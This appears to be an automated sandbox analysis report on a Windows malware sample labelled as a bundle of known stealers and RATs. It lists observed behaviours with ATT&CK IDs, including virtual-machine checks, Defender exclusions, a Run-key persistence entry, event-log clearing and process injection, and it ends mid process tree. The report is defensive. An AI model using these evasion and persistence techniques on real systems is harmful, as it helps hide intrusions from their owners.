eaff965a99ea88b1c8391b4f870ad80f1c5e562945ec7425e2702ae42aa96cbc

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v41.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	4736	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2404	powershell.exe
3432	powershell.exe
2536	powershell.exe
444	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 4 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v41.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
4216	takeown.exe
2292	icacls.exe
3048	icacls.exe

Executes dropped EXE 5 IoCs

pid	Process
5336	Win-v43.exe
3840	Win-v42.exe
4736	cmd.exe
2696	svchost.exe
2300	Win-v41.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Modifies file permissions 1 TTPs 3 IoCs

File and Directory Permissions Modification

T1222

pid	Process
4216	takeown.exe
2292	icacls.exe
3048	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe"	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	api64.ipify.org
4	api64.ipify.org
13	api64.ipify.org

Power Settings 1 TTPs 7 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5412	powercfg.exe
5356	powercfg.exe
5580	powercfg.exe
5660	powercfg.exe
3444	powercfg.exe
1812	powercfg.exe
2396	powercfg.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\System32\Win-v42.exe	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5324 set thread context of 4736	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	126
PID 5324 set thread context of 2696	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	127

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\Win-v41.exe	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
5972	PING.EXE
5700	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
3376	cmd.exe

Modifies data under HKEY_USERS 55 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1781044284"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={A7EB3038-1F62-4674-92EB-AF66863C4E0E}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 09 Jun 2026 22:31:25 GMT"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5972	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
816	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2404	powershell.exe
2404	powershell.exe
3432	powershell.exe
3432	powershell.exe
2536	powershell.exe
2536	powershell.exe
5336	Win-v43.exe
5336	Win-v43.exe
3840	Win-v42.exe
3840	Win-v42.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
444	powershell.exe
444	powershell.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
444	powershell.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
2300	Win-v41.exe
2300	Win-v41.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe
644	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3176	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 55 IoCs

description	pid	Process
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	2536	powershell.exe
Token: SeTakeOwnershipPrivilege	4216	takeown.exe
Token: SeShutdownPrivilege	3444	powercfg.exe
Token: SeCreatePagefilePrivilege	3444	powercfg.exe
Token: SeShutdownPrivilege	1812	powercfg.exe
Token: SeCreatePagefilePrivilege	1812	powercfg.exe
Token: SeShutdownPrivilege	2396	powercfg.exe
Token: SeCreatePagefilePrivilege	2396	powercfg.exe
Token: SeShutdownPrivilege	5412	powercfg.exe
Token: SeCreatePagefilePrivilege	5412	powercfg.exe
Token: SeShutdownPrivilege	5356	powercfg.exe
Token: SeCreatePagefilePrivilege	5356	powercfg.exe
Token: SeShutdownPrivilege	5580	powercfg.exe
Token: SeCreatePagefilePrivilege	5580	powercfg.exe
Token: SeShutdownPrivilege	5660	powercfg.exe
Token: SeCreatePagefilePrivilege	5660	powercfg.exe
Token: SeShutdownPrivilege	5660	powercfg.exe
Token: SeCreatePagefilePrivilege	5660	powercfg.exe
Token: SeLockMemoryPrivilege	4736	cmd.exe
Token: SeLockMemoryPrivilege	4736	cmd.exe
Token: SeDebugPrivilege	444	powershell.exe
Token: SeDebugPrivilege	444	powershell.exe
Token: SeDebugPrivilege	644	winlogon.exe
Token: SeShutdownPrivilege	3176	Explorer.EXE
Token: SeCreatePagefilePrivilege	3176	Explorer.EXE
Token: SeShutdownPrivilege	3176	Explorer.EXE
Token: SeCreatePagefilePrivilege	3176	Explorer.EXE
Token: SeShutdownPrivilege	3176	Explorer.EXE
Token: SeCreatePagefilePrivilege	3176	Explorer.EXE
Token: SeShutdownPrivilege	3176	Explorer.EXE
Token: SeCreatePagefilePrivilege	3176	Explorer.EXE
Token: SeShutdownPrivilege	3176	Explorer.EXE
Token: SeCreatePagefilePrivilege	3176	Explorer.EXE
Token: SeShutdownPrivilege	3176	Explorer.EXE
Token: SeCreatePagefilePrivilege	3176	Explorer.EXE
Token: SeShutdownPrivilege	3176	Explorer.EXE
Token: SeCreatePagefilePrivilege	3176	Explorer.EXE
Token: SeShutdownPrivilege	396	dwm.exe
Token: SeCreatePagefilePrivilege	396	dwm.exe
Token: SeShutdownPrivilege	3176	Explorer.EXE
Token: SeCreatePagefilePrivilege	3176	Explorer.EXE
Token: SeShutdownPrivilege	3176	Explorer.EXE
Token: SeCreatePagefilePrivilege	3176	Explorer.EXE
Token: SeShutdownPrivilege	3176	Explorer.EXE
Token: SeCreatePagefilePrivilege	3176	Explorer.EXE
Token: SeShutdownPrivilege	3176	Explorer.EXE
Token: SeCreatePagefilePrivilege	3176	Explorer.EXE
Token: SeShutdownPrivilege	3176	Explorer.EXE
Token: SeCreatePagefilePrivilege	3176	Explorer.EXE
Token: SeShutdownPrivilege	3176	Explorer.EXE
Token: SeCreatePagefilePrivilege	3176	Explorer.EXE
Token: SeShutdownPrivilege	3176	Explorer.EXE
Token: SeCreatePagefilePrivilege	3176	Explorer.EXE

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4736	cmd.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5324 wrote to memory of 2404	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	80
PID 5324 wrote to memory of 3432	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	82
PID 5324 wrote to memory of 2536	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	84
PID 5324 wrote to memory of 816	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	86
PID 5324 wrote to memory of 1676	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	88
PID 1676 wrote to memory of 2428	1676	cmd.exe	90
PID 5324 wrote to memory of 5240	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	91
PID 5240 wrote to memory of 4216	5240	cmd.exe	93
PID 5324 wrote to memory of 876	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	94
PID 876 wrote to memory of 2292	876	cmd.exe	96
PID 5324 wrote to memory of 2884	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	97
PID 2884 wrote to memory of 3048	2884	cmd.exe	101
PID 5324 wrote to memory of 3444	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	102
PID 5324 wrote to memory of 1812	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	106
PID 5324 wrote to memory of 2396	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	109
PID 5324 wrote to memory of 5412	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	113
PID 5324 wrote to memory of 5356	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	117
PID 5324 wrote to memory of 5580	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	119
PID 5324 wrote to memory of 5660	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	121
PID 5324 wrote to memory of 5700	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	123
PID 5700 wrote to memory of 5972	5700	cmd.exe	125
PID 5324 wrote to memory of 4736	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	126
PID 5324 wrote to memory of 2696	5324	2026-06-09_2eaef143d76d91e133ea32981f404b71_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	127
PID 3376 wrote to memory of 444	3376	cmd.exe	129
PID 444 wrote to memory of 644	444	powershell.exe	5
PID 644 wrote to memory of 696	644	winlogon.exe	7
PID 644 wrote to memory of 912	644	winlogon.exe	11
PID 644 wrote to memory of 448	644	winlogon.exe	13
PID 644 wrote to memory of 732	644	winlogon.exe	14
PID 644 wrote to memory of 396	644	winlogon.exe	15
PID 644 wrote to memory of 1044	644	winlogon.exe	16
PID 644 wrote to memory of 1108	644	winlogon.exe	17
PID 644 wrote to memory of 2300	644	winlogon.exe	131
PID 644 wrote to memory of 1116	644	winlogon.exe	18
PID 644 wrote to memory of 1220	644	winlogon.exe	20
PID 644 wrote to memory of 1236	644	winlogon.exe	21
PID 644 wrote to memory of 1284	644	winlogon.exe	22
PID 644 wrote to memory of 1336	644	winlogon.exe	23
PID 644 wrote to memory of 1392	644	winlogon.exe	24
PID 644 wrote to memory of 1456	644	winlogon.exe	25
PID 644 wrote to memory of 1568	644	winlogon.exe	26
PID 644 wrote to memory of 1600	644	winlogon.exe	27
PID 644 wrote to memory of 1624	644	winlogon.exe	28
PID 644 wrote to memory of 1656	644	winlogon.exe	29
PID 644 wrote to memory of 1824	644	winlogon.exe	30
PID 644 wrote to memory of 1872	644	winlogon.exe	31
PID 644 wrote to memory of 1888	644	winlogon.exe	32
PID 644 wrote to memory of 1968	644	winlogon.exe	33
PID 644 wrote to memory of 2004	644	winlogon.exe	34
PID 644 wrote to memory of 2044	644	winlogon.exe	35
PID 644 wrote to memory of 1144	644	winlogon.exe	36
PID 644 wrote to memory of 2056	644	winlogon.exe	37
PID 644 wrote to memory of 2064	644	winlogon.exe	38
PID 644 wrote to memory of 2160	644	winlogon.exe	39
PID 644 wrote to memory of 2272	644	winlogon.exe	41
PID 644 wrote to memory of 2556	644	winlogon.exe	42
PID 644 wrote to memory of 2564	644	winlogon.exe	43
PID 644 wrote to memory of 2592	644	winlogon.exe	44
PID 644 wrote to memory of 2636	644	winlogon.exe	45
PID 644 wrote to memory of 2652	644	winlogon.exe	46
PID 644 wrote to memory of 2668	644	winlogon.exe	47
PID 644 wrote to memory of 2688	644	winlogon.exe	48
PID 644 wrote to memory of 2904	644	winlogon.exe	50
PID 644 wrote to memory of 2264	644	winlogon.exe	51

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:644
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:396
- C:\Windows\Win-v41.exe
  "C:\Windows\Win-v41.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2300

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:696

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-9f0c85cc-eff2-4739-80e7-ddec4beeb10a -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-df94948e-dcd8-4998-81b7-0fea6c7bd33c -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-5c229269-dd4d-42b1-b394-24c97861b655 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b70f3755-40ec-40e5-91fc-d41917569e97 -LifetimeId:90566e68-c1a6-4ec3-a059-267b38b2b2d9 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1236
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1336

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1456

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
